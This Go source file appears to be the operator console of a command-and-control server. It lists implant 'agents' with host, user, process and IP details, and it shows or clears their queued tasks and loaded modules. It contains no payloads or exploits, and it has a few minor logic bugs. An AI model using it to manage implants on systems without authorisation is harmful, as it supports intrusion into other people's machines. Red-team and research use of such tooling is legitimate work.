package main

import (
	"fmt"
	"log"
	"strings"
	"text/tabwriter"
	"time"
)

func ListAgents(operatorID string) {
	var sb strings.Builder

	operatorConn, _ := GetOperatorConn(operatorID)

	tw := tabwriter.NewWriter(&sb, 0, 8, 2, ' ', 0) // Initialize a tab writer

	// Write the header row
	fmt.Fprintln(tw, "ID\tOS\tUsername\tProcess (PID)\tRemote Address\tLast Seen")
	fmt.Fprintln(tw, "==========\t==========\t========\t==============\t===============\t==========")

	// Iterate over the agents and write their details
	agents.Range(func(key, value interface{}) bool {
		agentID := key.(string)
		agentInfo := value.(*AgentInfo)

		// Extract OS (only first two parts: "Windows 10" for example)
		osParts := strings.Fields(agentInfo.OSVersion)
		os := ""
		if len(osParts) >= 3 {
			os = fmt.Sprintf("%s %s", osParts[0], osParts[1]) // e.g., "Windows 10"
		} else {
			os = agentInfo.OSVersion // Fallback if OS is shorter than expected
		}

		// Extract just the executable name from the full path
		// Extract executable name from the full path, handling both Windows and Unix paths
		procPath := agentInfo.Procname
		// Replace backslashes with forward slashes for consistency
		procPath = strings.ReplaceAll(procPath, "\\", "/")
		// Get the last part after the final slash
		parts := strings.Split(procPath, "/")
		procName := parts[len(parts)-1]

		// Format the last connection time
		lastMsg := agentInfo.LastConnection.Format("Jan 2 15:04:05")
		timeSinceLast := time.Since(agentInfo.LastConnection).Truncate(time.Second)
		lastMsgWithAgo := fmt.Sprintf("%s (%s ago)", lastMsg, timeSinceLast)

		// Write a row for each agent
		fmt.Fprintf(tw, "%s\t%s\t%s\t%s (%s)\t%s\t%s\n",
			agentID,
			os,
			agentInfo.Username,
			procName,
			agentInfo.PID,
			agentInfo.RemoteIP,
			lastMsgWithAgo,
		)
		return true
	})

	// Flush the tab writer and write to operator connection
	tw.Flush()

	if sb.Len() == 0 {
		operatorConn.Write([]byte("No agents connected"))
	} else {
		operatorConn.Write([]byte("Agents:\n" + sb.String()))
	}
}

// Get information about specific agent
func ShowAgent(operatorID string, agentID string) {
	operatorConn, exists := GetOperatorConn(operatorID)
	if !exists {
		return
	}

	value, exists := agents.Load(agentID)
	if !exists {
		operatorConn.Write([]byte("Agent not found"))
		return
	}

	agentInfo := value.(*AgentInfo)

	// Format last connection time
	lastMsg := agentInfo.LastConnection.Format("Jan 2 15:04:05")
	timeSinceLast := time.Since(agentInfo.LastConnection).Truncate(time.Second)
	lastMsgWithAgo := fmt.Sprintf("%s (%s ago)", lastMsg, timeSinceLast)

	var sb strings.Builder
	tw := tabwriter.NewWriter(&sb, 0, 8, 2, ' ', 0)

	// Write agent details in tabular format
	fmt.Fprintln(tw, "Field\tDescription")
	fmt.Fprintln(tw, "============\t=========================")
	fmt.Fprintf(tw, "Agent ID\t%s\n", agentID)
	fmt.Fprintf(tw, "OS\t%s\n", agentInfo.OSVersion)
	fmt.Fprintf(tw, "Architecture\t%s\n", agentInfo.Architecture)
	fmt.Fprintf(tw, "Process\t%s\n", agentInfo.Procname)
	fmt.Fprintf(tw, "PID\t%s\n", agentInfo.PID)
	fmt.Fprintf(tw, "Hostname\t%s\n", agentInfo.Hostname)
	fmt.Fprintf(tw, "Username\t%s\n", agentInfo.Username)
	fmt.Fprintf(tw, "Local IP\t%s\n", agentInfo.LocalIP)
	fmt.Fprintf(tw, "Remote IP\t%s\n", agentInfo.RemoteIP)
	fmt.Fprintf(tw, "Last Connection\t%s\n", lastMsgWithAgo)

	// Flush and send response
	tw.Flush()
	operatorConn.Write([]byte(sb.String()))
}

// ShowTasks lists tasks for a specific agent or all agents if no ID is given
func ShowTasks(operatorID string, cmdParts []string) {
	operatorConn, exists := GetOperatorConn(operatorID)
	if !exists {
		return
	}

	var sb strings.Builder
	tw := tabwriter.NewWriter(&sb, 0, 8, 2, ' ', 0)

	// Write header
	fmt.Fprintln(tw, "Agent\tTask #\tCommand\tArguments")
	fmt.Fprintln(tw, "============\t============\t============\t===============================")

	// Determine if specific agent ID is given
	if len(cmdParts) > 1 {
		agentID := cmdParts[0]

		if _, agentExists := agents.Load(agentID); !agentExists {
			operatorConn.Write([]byte(fmt.Sprintf("Agent %s not found", agentID)))
			return
		}

		tasks := taskHandler.ListTasks(agentID)
		if len(tasks) == 0 {
			operatorConn.Write([]byte(fmt.Sprintf("No tasks for agent %s", agentID)))
			return
		}

		for i, task := range tasks {
			fmt.Fprintf(tw, "%s\t%d\t%s\t%s\n", agentID, i+1, task.Type, task.Args)
		}

	} else {
		// List tasks for all agents
		hasTasks := false

		agents.Range(func(key, value interface{}) bool {
			agentID := key.(string)
			tasks := taskHandler.ListTasks(agentID)

			if len(tasks) == 0 {
				return true // Skip
			}

			hasTasks = true
			for i, task := range tasks {
				fmt.Fprintf(tw, "%s\t%d\t%s\t%s\n", agentID, i+1, task.Type, task.Args)
			}
			return true
		})

		if !hasTasks {
			operatorConn.Write([]byte("No tasks for any agents"))
			return
		}
	}

	// Flush and send output
	tw.Flush()
	operatorConn.Write([]byte("Current tasks:\n" + sb.String()))
}

// Remove all tasks assigned to a agent
func ClearTasks(operatorID string, cmdParts []string) {
	var response string
	agentID := cmdParts[2]

	operatorConn, _ := GetOperatorConn(operatorID)

	if _, agentExists := agents.Load(agentID); !agentExists {
		logMessage := fmt.Sprintf("Operator %s requested to clear tasks for non-existent agent: %s", operatorID, agentID)
		log.Print(logMessage)
		response = fmt.Sprintf("Agent %s not found", agentID)
		operatorConn.Write([]byte(response))
		return
	}

	logMessage := fmt.Sprintf("Operator %s requested to clear all tasks for agent: %s", operatorID, agentID)
	log.Print(logMessage)

	taskHandler.ClearTasks(agentID)

	response = fmt.Sprintf("Cleared task list for agent: %s", agentID)
	operatorConn.Write([]byte(response))
}

// Print the list of all loaded modules
func ShowModules(operatorID string) {
	operatorConn, exists := GetOperatorConn(operatorID)
	if !exists {
		return
	}

	if len(modules) == 0 {
		operatorConn.Write([]byte("No modules loaded"))
		return
	}

	var sb strings.Builder
	tw := tabwriter.NewWriter(&sb, 0, 8, 2, ' ', 0)

	// Write header
	fmt.Fprintln(tw, "Module\tType\tPath\tDescription")
	fmt.Fprintln(tw, "============\t============\t============\t===============================")

	// List all modules in tabular format
	for _, module := range modules {
		fmt.Fprintf(tw, "%s\t%s\t%s\t%s\n",
			module.Name, module.Type, module.Path, module.Description)
	}

	// Flush and send response
	tw.Flush()
	operatorConn.Write([]byte("Loaded modules:\n" + sb.String()))
}